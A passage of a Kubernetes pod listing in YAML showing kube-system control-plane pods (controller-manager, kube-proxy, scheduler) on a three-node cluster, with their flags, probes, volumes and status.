      image: registry.k8s.io/kube-controller-manager:v1.33.5
      imageID: registry.k8s.io/kube-controller-manager@sha256:1082a6ab67fb46397314dd36b36cb197ba4a4c5365033e9ad22bc7edaaaabd5c
      lastState:
        terminated:
          containerID: containerd://6bc80989307f8c89b65fff68636ae58b7cb128dd41bddb0733c4c02b8eb75a71
          exitCode: 255
          finishedAt: "2025-11-29T13:23:10Z"
          reason: Unknown
          startedAt: "2025-11-28T12:36:05Z"
      name: kube-controller-manager
      ready: true
      resources:
        requests:
          cpu: 200m
      restartCount: 9
      started: true
      state:
        running:
          startedAt: "2025-11-29T13:23:20Z"
    hostIP: 172.16.30.17
    hostIPs:
    - ip: 172.16.30.17
    phase: Running
    podIP: 172.16.30.17
    podIPs:
    - ip: 172.16.30.17
    qosClass: Burstable
    startTime: "2025-11-29T13:23:19Z"
- apiVersion: v1
  kind: Pod
  metadata:
    annotations:
      kubernetes.io/config.hash: 0be072fe6f29ceb4dbb56c532f14ffcd
      kubernetes.io/config.mirror: 0be072fe6f29ceb4dbb56c532f14ffcd
      kubernetes.io/config.seen: "2025-11-03T15:05:43.890876073+01:00"
      kubernetes.io/config.source: file
    creationTimestamp: "2025-11-25T15:21:58Z"
    generation: 1
    labels:
      component: kube-controller-manager
      tier: control-plane
    name: kube-controller-manager-k8s-m-3
    namespace: kube-system
    ownerReferences:
    - apiVersion: v1
      controller: true
      kind: Node
      name: k8s-m-3
      uid: e9941774-8efa-42ec-abc7-595360d866d1
    resourceVersion: "18046101"
    uid: c273bab1-6e13-45ba-95b6-8dba415c7daf
  spec:
    containers:
    - command:
      - kube-controller-manager
      - --allocate-node-cidrs=true
      - --authentication-kubeconfig=/etc/kubernetes/controller-manager.conf
      - --authorization-kubeconfig=/etc/kubernetes/controller-manager.conf
      - --bind-address=127.0.0.1
      - --client-ca-file=/etc/kubernetes/pki/ca.crt
      - --cluster-cidr=192.168.0.0/16
      - --cluster-name=kubernetes
      - --cluster-signing-cert-file=/etc/kubernetes/pki/ca.crt
      - --cluster-signing-key-file=/etc/kubernetes/pki/ca.key
      - --controllers=*,bootstrapsigner,tokencleaner
      - --kubeconfig=/etc/kubernetes/controller-manager.conf
      - --leader-elect=true
      - --requestheader-client-ca-file=/etc/kubernetes/pki/front-proxy-ca.crt
      - --root-ca-file=/etc/kubernetes/pki/ca.crt
      - --service-account-private-key-file=/etc/kubernetes/pki/sa.key
      - --service-cluster-ip-range=10.96.0.0/12
      - --use-service-account-credentials=true
      image: registry.k8s.io/kube-controller-manager:v1.33.5
      imagePullPolicy: IfNotPresent
      livenessProbe:
        failureThreshold: 8
        httpGet:
          host: 127.0.0.1
          path: /healthz
          port: 10257
          scheme: HTTPS
        initialDelaySeconds: 10
        periodSeconds: 10
        successThreshold: 1
        timeoutSeconds: 15
      name: kube-controller-manager
      resources:
        requests:
          cpu: 200m
      startupProbe:
        failureThreshold: 24
        httpGet:
          host: 127.0.0.1
          path: /healthz
          port: 10257
          scheme: HTTPS
        initialDelaySeconds: 10
        periodSeconds: 10
        successThreshold: 1
        timeoutSeconds: 15
      terminationMessagePath: /dev/termination-log
      terminationMessagePolicy: File
      volumeMounts:
      - mountPath: /etc/ssl/certs
        name: ca-certs
        readOnly: true
      - mountPath: /etc/ca-certificates
        name: etc-ca-certificates
        readOnly: true
      - mountPath: /usr/libexec/kubernetes/kubelet-plugins/volume/exec
        name: flexvolume-dir
      - mountPath: /etc/kubernetes/pki
        name: k8s-certs
        readOnly: true
      - mountPath: /etc/kubernetes/controller-manager.conf
        name: kubeconfig
        readOnly: true
      - mountPath: /usr/local/share/ca-certificates
        name: usr-local-share-ca-certificates
        readOnly: true
      - mountPath: /usr/share/ca-certificates
        name: usr-share-ca-certificates
        readOnly: true
    dnsPolicy: ClusterFirst
    enableServiceLinks: true
    hostNetwork: true
    nodeName: k8s-m-3
    preemptionPolicy: PreemptLowerPriority
    priority: 2000001000
    priorityClassName: system-node-critical
    restartPolicy: Always
    schedulerName: default-scheduler
    securityContext:
      seccompProfile:
        type: RuntimeDefault
    terminationGracePeriodSeconds: 30
    tolerations:
    - effect: NoExecute
      operator: Exists
    volumes:
    - hostPath:
        path: /etc/ssl/certs
        type: DirectoryOrCreate
      name: ca-certs
    - hostPath:
        path: /etc/ca-certificates
        type: DirectoryOrCreate
      name: etc-ca-certificates
    - hostPath:
        path: /usr/libexec/kubernetes/kubelet-plugins/volume/exec
        type: DirectoryOrCreate
      name: flexvolume-dir
    - hostPath:
        path: /etc/kubernetes/pki
        type: DirectoryOrCreate
      name: k8s-certs
    - hostPath:
        path: /etc/kubernetes/controller-manager.conf
        type: FileOrCreate
      name: kubeconfig
    - hostPath:
        path: /usr/local/share/ca-certificates
        type: DirectoryOrCreate
      name: usr-local-share-ca-certificates
    - hostPath:
        path: /usr/share/ca-certificates
        type: DirectoryOrCreate
      name: usr-share-ca-certificates
  status:
    conditions:
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T14:24:26Z"
      status: "True"
      type: PodReadyToStartContainers
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T14:24:24Z"
      status: "True"
      type: Initialized
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T14:25:05Z"
      status: "True"
      type: Ready
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T14:25:05Z"
      status: "True"
      type: ContainersReady
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T14:24:24Z"
      status: "True"
      type: PodScheduled
    containerStatuses:
    - allocatedResources:
        cpu: 200m
      containerID: containerd://59a1b870eb14762faa84254780ac589a877ae63c359d0dfbd00a78493c0992b2
      image: registry.k8s.io/kube-controller-manager:v1.33.5
      imageID: registry.k8s.io/kube-controller-manager@sha256:1082a6ab67fb46397314dd36b36cb197ba4a4c5365033e9ad22bc7edaaaabd5c
      lastState:
        terminated:
          containerID: containerd://20d46fab6abcc087dc79093cbb6596aa4b0ed5cc986aabe99b513a752a9dabdb
          exitCode: 255
          finishedAt: "2025-11-29T14:24:14Z"
          reason: Unknown
          startedAt: "2025-11-28T12:27:06Z"
      name: kube-controller-manager
      ready: true
      resources:
        requests:
          cpu: 200m
      restartCount: 9
      started: true
      state:
        running:
          startedAt: "2025-11-29T14:24:26Z"
    hostIP: 172.16.30.18
    hostIPs:
    - ip: 172.16.30.18
    phase: Running
    podIP: 172.16.30.18
    podIPs:
    - ip: 172.16.30.18
    qosClass: Burstable
    startTime: "2025-11-29T14:24:24Z"
- apiVersion: v1
  kind: Pod
  metadata:
    creationTimestamp: "2025-09-21T11:16:27Z"
    generateName: kube-proxy-
    generation: 1
    labels:
      controller-revision-hash: 6bfcbd6886
      k8s-app: kube-proxy
      pod-template-generation: "1"
    name: kube-proxy-hmvc6
    namespace: kube-system
    ownerReferences:
    - apiVersion: apps/v1
      blockOwnerDeletion: true
      controller: true
      kind: DaemonSet
      name: kube-proxy
      uid: 973d8887-47c5-4054-99e4-eee9ac10c5ef
    resourceVersion: "18033249"
    uid: 85995edd-50eb-4692-8381-f64f4b10f78d
  spec:
    affinity:
      nodeAffinity:
        requiredDuringSchedulingIgnoredDuringExecution:
          nodeSelectorTerms:
          - matchFields:
            - key: metadata.name
              operator: In
              values:
              - k8s-m-2
    containers:
    - command:
      - /usr/local/bin/kube-proxy
      - --config=/var/lib/kube-proxy/config.conf
      - --hostname-override=$(NODE_NAME)
      env:
      - name: NODE_NAME
        valueFrom:
          fieldRef:
            apiVersion: v1
            fieldPath: spec.nodeName
      image: registry.k8s.io/kube-proxy:v1.33.5
      imagePullPolicy: IfNotPresent
      name: kube-proxy
      resources: {}
      securityContext:
        privileged: true
      terminationMessagePath: /dev/termination-log
      terminationMessagePolicy: File
      volumeMounts:
      - mountPath: /var/lib/kube-proxy
        name: kube-proxy
      - mountPath: /run/xtables.lock
        name: xtables-lock
      - mountPath: /lib/modules
        name: lib-modules
        readOnly: true
      - mountPath: /var/run/secrets/kubernetes.io/serviceaccount
        name: kube-api-access-t2hmc
        readOnly: true
    dnsPolicy: ClusterFirst
    enableServiceLinks: true
    hostNetwork: true
    nodeName: k8s-m-2
    nodeSelector:
      kubernetes.io/os: linux
    preemptionPolicy: PreemptLowerPriority
    priority: 2000001000
    priorityClassName: system-node-critical
    restartPolicy: Always
    schedulerName: default-scheduler
    securityContext: {}
    serviceAccount: kube-proxy
    serviceAccountName: kube-proxy
    terminationGracePeriodSeconds: 30
    tolerations:
    - operator: Exists
    - effect: NoExecute
      key: node.kubernetes.io/not-ready
      operator: Exists
    - effect: NoExecute
      key: node.kubernetes.io/unreachable
      operator: Exists
    - effect: NoSchedule
      key: node.kubernetes.io/disk-pressure
      operator: Exists
    - effect: NoSchedule
      key: node.kubernetes.io/memory-pressure
      operator: Exists
    - effect: NoSchedule
      key: node.kubernetes.io/pid-pressure
      operator: Exists
    - effect: NoSchedule
      key: node.kubernetes.io/unschedulable
      operator: Exists
    - effect: NoSchedule
      key: node.kubernetes.io/network-unavailable
      operator: Exists
    volumes:
    - configMap:
        defaultMode: 420
        name: kube-proxy
      name: kube-proxy
    - hostPath:
        path: /run/xtables.lock
        type: FileOrCreate
      name: xtables-lock
    - hostPath:
        path: /lib/modules
        type: ""
      name: lib-modules
    - name: kube-api-access-t2hmc
      projected:
        defaultMode: 420
        sources:
        - serviceAccountToken:
            expirationSeconds: 3607
            path: token
        - configMap:
            items:
            - key: ca.crt
              path: ca.crt
            name: kube-root-ca.crt
        - downwardAPI:
            items:
            - fieldRef:
                apiVersion: v1
                fieldPath: metadata.namespace
              path: namespace
  status:
    conditions:
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T13:23:31Z"
      status: "True"
      type: PodReadyToStartContainers
    - lastProbeTime: null
      lastTransitionTime: "2025-09-21T11:16:30Z"
      status: "True"
      type: Initialized
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T13:23:31Z"
      status: "True"
      type: Ready
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T13:23:31Z"
      status: "True"
      type: ContainersReady
    - lastProbeTime: null
      lastTransitionTime: "2025-09-21T11:16:27Z"
      status: "True"
      type: PodScheduled
    containerStatuses:
    - containerID: containerd://5800f823022f2821bc87f9602ea50008116596186a695d5b682ea0dd9bef2398
      image: registry.k8s.io/kube-proxy:v1.33.5
      imageID: registry.k8s.io/kube-proxy@sha256:71445ec84ad98bd52a7784865a9d31b1b50b56092d3f7699edc39eefd71befe1
      lastState:
        terminated:
          containerID: containerd://122adf0d277b54969e0a773cc18c64ae651a3ed61a70a59aeff03405fe8d1bb6
          exitCode: 255
          finishedAt: "2025-11-29T13:23:09Z"
          reason: Unknown
          startedAt: "2025-11-28T12:36:13Z"
      name: kube-proxy
      ready: true
      resources: {}
      restartCount: 7
      started: true
      state:
        running:
          startedAt: "2025-11-29T13:23:30Z"
      volumeMounts:
      - mountPath: /var/lib/kube-proxy
        name: kube-proxy
      - mountPath: /run/xtables.lock
        name: xtables-lock
      - mountPath: /lib/modules
        name: lib-modules
        readOnly: true
        recursiveReadOnly: Disabled
      - mountPath: /var/run/secrets/kubernetes.io/serviceaccount
        name: kube-api-access-t2hmc
        readOnly: true
        recursiveReadOnly: Disabled
    hostIP: 172.16.30.17
    hostIPs:
    - ip: 172.16.30.17
    phase: Running
    podIP: 172.16.30.17
    podIPs:
    - ip: 172.16.30.17
    qosClass: BestEffort
    startTime: "2025-09-21T11:16:30Z"
- apiVersion: v1
  kind: Pod
  metadata:
    creationTimestamp: "2025-11-25T15:22:00Z"
    generateName: kube-proxy-
    generation: 1
    labels:
      controller-revision-hash: 6bfcbd6886
      k8s-app: kube-proxy
      pod-template-generation: "1"
    name: kube-proxy-jrb7h
    namespace: kube-system
    ownerReferences:
    - apiVersion: apps/v1
      blockOwnerDeletion: true
      controller: true
      kind: DaemonSet
      name: kube-proxy
      uid: 973d8887-47c5-4054-99e4-eee9ac10c5ef
    resourceVersion: "18045935"
    uid: a8a8f8b8-c8de-4652-9371-1c38e17df5b5
  spec:
    affinity:
      nodeAffinity:
        requiredDuringSchedulingIgnoredDuringExecution:
          nodeSelectorTerms:
          - matchFields:
            - key: metadata.name
              operator: In
              values:
              - k8s-m-3
    containers:
    - command:
      - /usr/local/bin/kube-proxy
      - --config=/var/lib/kube-proxy/config.conf
      - --hostname-override=$(NODE_NAME)
      env:
      - name: NODE_NAME
        valueFrom:
          fieldRef:
            apiVersion: v1
            fieldPath: spec.nodeName
      image: registry.k8s.io/kube-proxy:v1.33.5
      imagePullPolicy: IfNotPresent
      name: kube-proxy
      resources: {}
      securityContext:
        privileged: true
      terminationMessagePath: /dev/termination-log
      terminationMessagePolicy: File
      volumeMounts:
      - mountPath: /var/lib/kube-proxy
        name: kube-proxy
      - mountPath: /run/xtables.lock
        name: xtables-lock
      - mountPath: /lib/modules
        name: lib-modules
        readOnly: true
      - mountPath: /var/run/secrets/kubernetes.io/serviceaccount
        name: kube-api-access-jg8w6
        readOnly: true
    dnsPolicy: ClusterFirst
    enableServiceLinks: true
    hostNetwork: true
    nodeName: k8s-m-3
    nodeSelector:
      kubernetes.io/os: linux
    preemptionPolicy: PreemptLowerPriority
    priority: 2000001000
    priorityClassName: system-node-critical
    restartPolicy: Always
    schedulerName: default-scheduler
    securityContext: {}
    serviceAccount: kube-proxy
    serviceAccountName: kube-proxy
    terminationGracePeriodSeconds: 30
    tolerations:
    - operator: Exists
    - effect: NoExecute
      key: node.kubernetes.io/not-ready
      operator: Exists
    - effect: NoExecute
      key: node.kubernetes.io/unreachable
      operator: Exists
    - effect: NoSchedule
      key: node.kubernetes.io/disk-pressure
      operator: Exists
    - effect: NoSchedule
      key: node.kubernetes.io/memory-pressure
      operator: Exists
    - effect: NoSchedule
      key: node.kubernetes.io/pid-pressure
      operator: Exists
    - effect: NoSchedule
      key: node.kubernetes.io/unschedulable
      operator: Exists
    - effect: NoSchedule
      key: node.kubernetes.io/network-unavailable
      operator: Exists
    volumes:
    - configMap:
        defaultMode: 420
        name: kube-proxy
      name: kube-proxy
    - hostPath:
        path: /run/xtables.lock
        type: FileOrCreate
      name: xtables-lock
    - hostPath:
        path: /lib/modules
        type: ""
      name: lib-modules
    - name: kube-api-access-jg8w6
      projected:
        defaultMode: 420
        sources:
        - serviceAccountToken:
            expirationSeconds: 3607
            path: token
        - configMap:
            items:
            - key: ca.crt
              path: ca.crt
            name: kube-root-ca.crt
        - downwardAPI:
            items:
            - fieldRef:
                apiVersion: v1
                fieldPath: metadata.namespace
              path: namespace
  status:
    conditions:
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T14:24:38Z"
      status: "True"
      type: PodReadyToStartContainers
    - lastProbeTime: null
      lastTransitionTime: "2025-11-25T15:22:00Z"
      status: "True"
      type: Initialized
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T14:24:38Z"
      status: "True"
      type: Ready
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T14:24:38Z"
      status: "True"
      type: ContainersReady
    - lastProbeTime: null
      lastTransitionTime: "2025-11-25T15:22:00Z"
      status: "True"
      type: PodScheduled
    containerStatuses:
    - containerID: containerd://311545fbbfac0b676b331af83f4c06d9774f1c04096b01a19681403959ec1f6b
      image: registry.k8s.io/kube-proxy:v1.33.5
      imageID: registry.k8s.io/kube-proxy@sha256:71445ec84ad98bd52a7784865a9d31b1b50b56092d3f7699edc39eefd71befe1
      lastState:
        terminated:
          containerID: containerd://57c33a5c12739bf115a74d526c082c0e92be8d33cef213cbf2f2ddd4cd873351
          exitCode: 255
          finishedAt: "2025-11-29T14:24:14Z"
          reason: Unknown
          startedAt: "2025-11-28T12:27:14Z"
      name: kube-proxy
      ready: true
      resources: {}
      restartCount: 2
      started: true
      state:
        running:
          startedAt: "2025-11-29T14:24:37Z"
      volumeMounts:
      - mountPath: /var/lib/kube-proxy
        name: kube-proxy
      - mountPath: /run/xtables.lock
        name: xtables-lock
      - mountPath: /lib/modules
        name: lib-modules
        readOnly: true
        recursiveReadOnly: Disabled
      - mountPath: /var/run/secrets/kubernetes.io/serviceaccount
        name: kube-api-access-jg8w6
        readOnly: true
        recursiveReadOnly: Disabled
    hostIP: 172.16.30.18
    hostIPs:
    - ip: 172.16.30.18
    phase: Running
    podIP: 172.16.30.18
    podIPs:
    - ip: 172.16.30.18
    qosClass: BestEffort
    startTime: "2025-11-25T15:22:00Z"
- apiVersion: v1
  kind: Pod
  metadata:
    creationTimestamp: "2025-11-25T15:22:38Z"
    generateName: kube-proxy-
    generation: 1
    labels:
      controller-revision-hash: 6bfcbd6886
      k8s-app: kube-proxy
      pod-template-generation: "1"
    name: kube-proxy-zjr56
    namespace: kube-system
    ownerReferences:
    - apiVersion: apps/v1
      blockOwnerDeletion: true
      controller: true
      kind: DaemonSet
      name: kube-proxy
      uid: 973d8887-47c5-4054-99e4-eee9ac10c5ef
    resourceVersion: "18007417"
    uid: c11c1811-b8d0-4520-a37b-09b968dbe6b1
  spec:
    affinity:
      nodeAffinity:
        requiredDuringSchedulingIgnoredDuringExecution:
          nodeSelectorTerms:
          - matchFields:
            - key: metadata.name
              operator: In
              values:
              - k8s-m-1
    containers:
    - command:
      - /usr/local/bin/kube-proxy
      - --config=/var/lib/kube-proxy/config.conf
      - --hostname-override=$(NODE_NAME)
      env:
      - name: NODE_NAME
        valueFrom:
          fieldRef:
            apiVersion: v1
            fieldPath: spec.nodeName
      image: registry.k8s.io/kube-proxy:v1.33.5
      imagePullPolicy: IfNotPresent
      name: kube-proxy
      resources: {}
      securityContext:
        privileged: true
      terminationMessagePath: /dev/termination-log
      terminationMessagePolicy: File
      volumeMounts:
      - mountPath: /var/lib/kube-proxy
        name: kube-proxy
      - mountPath: /run/xtables.lock
        name: xtables-lock
      - mountPath: /lib/modules
        name: lib-modules
        readOnly: true
      - mountPath: /var/run/secrets/kubernetes.io/serviceaccount
        name: kube-api-access-4k958
        readOnly: true
    dnsPolicy: ClusterFirst
    enableServiceLinks: true
    hostNetwork: true
    nodeName: k8s-m-1
    nodeSelector:
      kubernetes.io/os: linux
    preemptionPolicy: PreemptLowerPriority
    priority: 2000001000
    priorityClassName: system-node-critical
    restartPolicy: Always
    schedulerName: default-scheduler
    securityContext: {}
    serviceAccount: kube-proxy
    serviceAccountName: kube-proxy
    terminationGracePeriodSeconds: 30
    tolerations:
    - operator: Exists
    - effect: NoExecute
      key: node.kubernetes.io/not-ready
      operator: Exists
    - effect: NoExecute
      key: node.kubernetes.io/unreachable
      operator: Exists
    - effect: NoSchedule
      key: node.kubernetes.io/disk-pressure
      operator: Exists
    - effect: NoSchedule
      key: node.kubernetes.io/memory-pressure
      operator: Exists
    - effect: NoSchedule
      key: node.kubernetes.io/pid-pressure
      operator: Exists
    - effect: NoSchedule
      key: node.kubernetes.io/unschedulable
      operator: Exists
    - effect: NoSchedule
      key: node.kubernetes.io/network-unavailable
      operator: Exists
    volumes:
    - configMap:
        defaultMode: 420
        name: kube-proxy
      name: kube-proxy
    - hostPath:
        path: /run/xtables.lock
        type: FileOrCreate
      name: xtables-lock
    - hostPath:
        path: /lib/modules
        type: ""
      name: lib-modules
    - name: kube-api-access-4k958
      projected:
        defaultMode: 420
        sources:
        - serviceAccountToken:
            expirationSeconds: 3607
            path: token
        - configMap:
            items:
            - key: ca.crt
              path: ca.crt
            name: kube-root-ca.crt
        - downwardAPI:
            items:
            - fieldRef:
                apiVersion: v1
                fieldPath: metadata.namespace
              path: namespace
  status:
    conditions:
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T11:13:02Z"
      status: "True"
      type: PodReadyToStartContainers
    - lastProbeTime: null
      lastTransitionTime: "2025-11-25T15:22:39Z"
      status: "True"
      type: Initialized
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T11:13:02Z"
      status: "True"
      type: Ready
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T11:13:02Z"
      status: "True"
      type: ContainersReady
    - lastProbeTime: null
      lastTransitionTime: "2025-11-25T15:22:38Z"
      status: "True"
      type: PodScheduled
    containerStatuses:
    - containerID: containerd://858cc2e16d6c71f702d4f49fb177ab34730b1d0952dd13b3f35a9626e53ffded
      image: registry.k8s.io/kube-proxy:v1.33.5
      imageID: registry.k8s.io/kube-proxy@sha256:71445ec84ad98bd52a7784865a9d31b1b50b56092d3f7699edc39eefd71befe1
      lastState:
        terminated:
          containerID: containerd://1e889d34f21c47bae196007b0de3226e1c305aa7ce28aab8db6e3fc284fbcfdd
          exitCode: 255
          finishedAt: "2025-11-29T11:12:42Z"
          reason: Unknown
          startedAt: "2025-11-28T13:07:18Z"
      name: kube-proxy
      ready: true
      resources: {}
      restartCount: 2
      started: true
      state:
        running:
          startedAt: "2025-11-29T11:13:01Z"
      volumeMounts:
      - mountPath: /var/lib/kube-proxy
        name: kube-proxy
      - mountPath: /run/xtables.lock
        name: xtables-lock
      - mountPath: /lib/modules
        name: lib-modules
        readOnly: true
        recursiveReadOnly: Disabled
      - mountPath: /var/run/secrets/kubernetes.io/serviceaccount
        name: kube-api-access-4k958
        readOnly: true
        recursiveReadOnly: Disabled
    hostIP: 172.16.30.16
    hostIPs:
    - ip: 172.16.30.16
    phase: Running
    podIP: 172.16.30.16
    podIPs:
    - ip: 172.16.30.16
    qosClass: BestEffort
    startTime: "2025-11-25T15:22:39Z"
- apiVersion: v1
  kind: Pod
  metadata:
    annotations:
      kubernetes.io/config.hash: 2616ce366a90b3efe8270f8499d11e83
      kubernetes.io/config.mirror: 2616ce366a90b3efe8270f8499d11e83
      kubernetes.io/config.seen: "2025-09-21T13:09:19.602554073+02:00"
      kubernetes.io/config.source: file
    creationTimestamp: "2025-09-21T11:09:19Z"
    generation: 1
    labels:
      component: kube-scheduler
      tier: control-plane
    name: kube-scheduler-k8s-m-1
    namespace: kube-system
    ownerReferences:
    - apiVersion: v1
      controller: true
      kind: Node
      name: k8s-m-1
      uid: 0434bec2-2cdd-40cf-be92-8aa574512d57
    resourceVersion: "18007510"
    uid: 5629956a-bc59-4e63-a1e6-936a4755c1ed
  spec:
    containers:
    - command:
      - kube-scheduler
      - --authentication-kubeconfig=/etc/kubernetes/scheduler.conf
      - --authorization-kubeconfig=/etc/kubernetes/scheduler.conf
      - --bind-address=127.0.0.1
      - --kubeconfig=/etc/kubernetes/scheduler.conf
      - --leader-elect=true
      image: registry.k8s.io/kube-scheduler:v1.33.5
      imagePullPolicy: IfNotPresent
      livenessProbe:
        failureThreshold: 8
        httpGet:
          host: 127.0.0.1
          path: /livez
          port: 10259
          scheme: HTTPS
        initialDelaySeconds: 10
        periodSeconds: 10
        successThreshold: 1
        timeoutSeconds: 15
      name: kube-scheduler
      readinessProbe:
        failureThreshold: 3
        httpGet:
          host: 127.0.0.1
          path: /readyz
          port: 10259
          scheme: HTTPS
        periodSeconds: 1
        successThreshold: 1
        timeoutSeconds: 15
      resources:
        requests:
          cpu: 100m
      startupProbe:
        failureThreshold: 24
        httpGet:
          host: 127.0.0.1
          path: /livez
          port: 10259
          scheme: HTTPS
        initialDelaySeconds: 10
        periodSeconds: 10
        successThreshold: 1
        timeoutSeconds: 15
      terminationMessagePath: /dev/termination-log
      terminationMessagePolicy: File
      volumeMounts:
      - mountPath: /etc/kubernetes/scheduler.conf
        name: kubeconfig
        readOnly: true
    dnsPolicy: ClusterFirst
    enableServiceLinks: true
    hostNetwork: true
    nodeName: k8s-m-1
    preemptionPolicy: PreemptLowerPriority
    priority: 2000001000
    priorityClassName: system-node-critical
    restartPolicy: Always
    schedulerName: default-scheduler
    securityContext:
      seccompProfile:
        type: RuntimeDefault
    terminationGracePeriodSeconds: 30
    tolerations:
    - effect: NoExecute
      operator: Exists
    volumes:
    - hostPath:
        path: /etc/kubernetes/scheduler.conf
        type: FileOrCreate
      name: kubeconfig
  status:
    conditions:
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T11:12:53Z"
      status: "True"
      type: PodReadyToStartContainers
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T11:12:52Z"
      status: "True"
      type: Initialized
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T11:13:06Z"
      status: "True"
      type: Ready
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T11:13:06Z"
      status: "True"
      type: ContainersReady
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T11:12:52Z"
      status: "True"
      type: PodScheduled
    containerStatuses:
    - allocatedResources:
        cpu: 100m
      containerID: containerd://e0cd2088d20d5db32bea6924b7057d718a93a8abd12453bb75d4ef76a2f0515c
      image: registry.k8s.io/kube-scheduler:v1.33.5
      imageID: registry.k8s.io/kube-scheduler@sha256:3e7b57c9d9f06b77f0064e5be7f3df61e0151101160acd5fdecce911df28a189
      lastState:
        terminated:
          containerID: containerd://1fca4644ca4537023f4bbbecb472db8dc68c6f6efa14a7ecc6aaec4ebce4fba9
          exitCode: 255
          finishedAt: "2025-11-29T11:12:42Z"
          reason: Unknown
          startedAt: "2025-11-28T13:07:11Z"
      name: kube-scheduler
      ready: true
      resources:
        requests:
          cpu: 100m
      restartCount: 14
      started: true
      state:
        running:
          startedAt: "2025-11-29T11:12:53Z"
    hostIP: 172.16.30.16
    hostIPs:
    - ip: 172.16.30.16
    phase: Running
    podIP: 172.16.30.16
    podIPs:
    - ip: 172.16.30.16
    qosClass: Burstable
    startTime: "2025-11-29T11:12:52Z"
- apiVersion: v1
  kind: Pod
  metadata:
    annotations:
      kubernetes.io/config.hash: dea7578e260299e5663e125586900a4e
      kubernetes.io/config.mirror: dea7578e260299e5663e125586900a4e
      kubernetes.io/config.seen: "2025-09-21T13:16:09.931379020+02:00"
      kubernetes.io/config.source: file
    creationTimestamp: "2025-09-21T11:16:30Z"
    generation: 1
    labels:
      component: kube-scheduler
      tier: control-plane
    name: kube-scheduler-k8s-m-2
    namespace: kube-system
    ownerReferences:
    - apiVersion: v1
      controller: true
      kind: Node
      name: k8s-m-2
      uid: febaead2-efbe-4419-9e77-b195397e2090
    resourceVersion: "18033277"
    uid: 81b269ec-38e4-492d-b70d-888d6d360d78
  spec:
    containers:
    - command:
      - kube-scheduler
      - --authentication-kubeconfig=/etc/kubernetes/scheduler.conf
      - --authorization-kubeconfig=/etc/kubernetes/scheduler.conf
      - --bind-address=127.0.0.1
      - --kubeconfig=/etc/kubernetes/scheduler.conf
      - --leader-elect=true
      image: registry.k8s.io/kube-scheduler:v1.33.5
      imagePullPolicy: IfNotPresent
      livenessProbe:
        failureThreshold: 8
        httpGet:
          host: 127.0.0.1
          path: /livez
          port: 10259
          scheme: HTTPS
        initialDelaySeconds: 10
        periodSeconds: 10
        successThreshold: 1
        timeoutSeconds: 15
      name: kube-scheduler
      readinessProbe:
        failureThreshold: 3
        httpGet:
          host: 127.0.0.1
          path: /readyz
          port: 10259
          scheme: HTTPS
        periodSeconds: 1
        successThreshold: 1
        timeoutSeconds: 15
      resources:
        requests:
          cpu: 100m
      startupProbe:
        failureThreshold: 24
        httpGet:
          host: 127.0.0.1
          path: /livez
          port: 10259
          scheme: HTTPS
        initialDelaySeconds: 10
        periodSeconds: 10
        successThreshold: 1
        timeoutSeconds: 15
      terminationMessagePath: /dev/termination-log
      terminationMessagePolicy: File
      volumeMounts:
      - mountPath: /etc/kubernetes/scheduler.conf
        name: kubeconfig
        readOnly: true
    dnsPolicy: ClusterFirst
    enableServiceLinks: true
    hostNetwork: true
    nodeName: k8s-m-2
    preemptionPolicy: PreemptLowerPriority
    priority: 2000001000
    priorityClassName: system-node-critical
    restartPolicy: Always
    schedulerName: default-scheduler
    securityContext:
      seccompProfile:
        type: RuntimeDefault
    terminationGracePeriodSeconds: 30
    tolerations:
    - effect: NoExecute
      operator: Exists
    volumes:
    - hostPath:
        path: /etc/kubernetes/scheduler.conf
        type: FileOrCreate
      name: kubeconfig
  status:
    conditions:
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T13:23:21Z"
      status: "True"
      type: PodReadyToStartContainers
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T13:23:19Z"
      status: "True"
      type: Initialized
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T13:23:34Z"
      status: "True"
      type: Ready
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T13:23:34Z"
      status: "True"
      type: ContainersReady
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T13:23:19Z"
      status: "True"
      type: PodScheduled
    containerStatuses:
    - allocatedResources:
        cpu: 100m
      containerID: containerd://48cd993c99547728a041e155d4e031d556b57e903a5646a2e749e5a6adf41f57
      image: registry.k8s.io/kube-scheduler:v1.33.5
      imageID: registry.k8s.io/kube-scheduler@sha256:3e7b57c9d9f06b77f0064e5be7f3df61e0151101160acd5fdecce911df28a189
      lastState:
        terminated:
          containerID: containerd://a6ecd4975d74e8f0f7accddaa34680f0a0a8dfb3ffd8e8eaba551035572c3b6d
          exitCode: 255
          finishedAt: "2025-11-29T13:23:10Z"
          reason: Unknown
          startedAt: "2025-11-28T12:36:05Z"
      name: kube-scheduler
      ready: true
      resources:
        requests:
          cpu: 100m
      restartCount: 10
      started: true
      state:
        running:
          startedAt: "2025-11-29T13:23:20Z"
    hostIP: 172.16.30.17
    hostIPs:
    - ip: 172.16.30.17
    phase: Running
    podIP: 172.16.30.17
    podIPs:
    - ip: 172.16.30.17
    qosClass: Burstable
    startTime: "2025-11-29T13:23:19Z"
- apiVersion: v1
  kind: Pod
  metadata:
    annotations:
      kubernetes.io/config.hash: 34aa219a282cf942e729f345d98728a1
      kubernetes.io/config.mirror: 34aa219a282cf942e729f345d98728a1
      kubernetes.io/config.seen: "2025-09-21T13:17:54.768012710+02:00"
      kubernetes.io/config.source: file
    creationTimestamp: "2025-09-21T11:18:20Z"
    generation: 1
    labels:
      component: kube-scheduler
      tier: control-plane
    name: kube-scheduler-k8s-m-3
